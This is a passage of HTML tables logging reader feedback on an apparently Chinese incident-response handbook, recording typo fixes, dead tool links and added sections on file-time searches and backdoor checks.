leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0042</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">0000</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 16:56</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">当面反馈</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">监听本次IPv6 -&gt; 监听本地IPv6</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 22:16</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">43. 绿盟威胁分析中心网址失效</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0043</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">FR33D0M</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 16:59</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">绿盟威胁分析中心网址失效</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已删除</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 23:01</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">44. 勒索病毒章节-根据勒索病毒类型寻找解决方法中文字错误【文字错误】</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0044</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">FR33D0M</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-07 10:00</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">瑞星放勒索病毒专题 -&gt; 瑞星防勒索病毒专题</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-07 21:50</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">45. Webshellkiller 等工具链接失效</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0045</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">FR33D0M、megaparsec</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-08 17:10</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">WEBDIR+ 、Webshellkiller 工具链接失效</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已删除</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-08 21:50</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">46. 准备部分添加国产操作系统虚拟机</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0046</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-13 21:10</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">最好准备一些国产系统的虚拟机</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-13 21:15</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">47. 添加一个在线病毒分析网站</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0047</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">路人甲</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-13 22:18</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">公众号文章留言</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加 cloud.vdnel.cn</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">暂不添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-14 21:03</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">网站无法直接使用，域名证书过期，账号注册受阻，暂不适合应急期间使用</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">48. 添加查找某段时间创建的文件</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0048</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-16 21:09</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">在小技巧 -&gt; 查找特定时间段内的⽂件 章节添加查找某段时间内创建的文件</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-16 21:40</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">同时添加了访问、修改属性时间查找文件</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">49. 全盘搜索文件内容部分 grep 添加 -a 参数</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0049</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-16 21:10</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">全盘搜索文件内容部分 grep 添加 -a 参数</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">暂不添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-16 21:45</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">默认就会查询二进制内容是否与查询内容匹配， -a 参数的意义只在于打印出二进制的内容，相信我，别这么干</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">50. 常规安全检查章节添加 TCP Wrappers 后门排查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0050</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-16 21:12</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">常规安全检查章节添加 TCP Wrappers 后门排查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-16 21:46</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">51. 常规安全检查章节添加敏感目录排查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0051</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 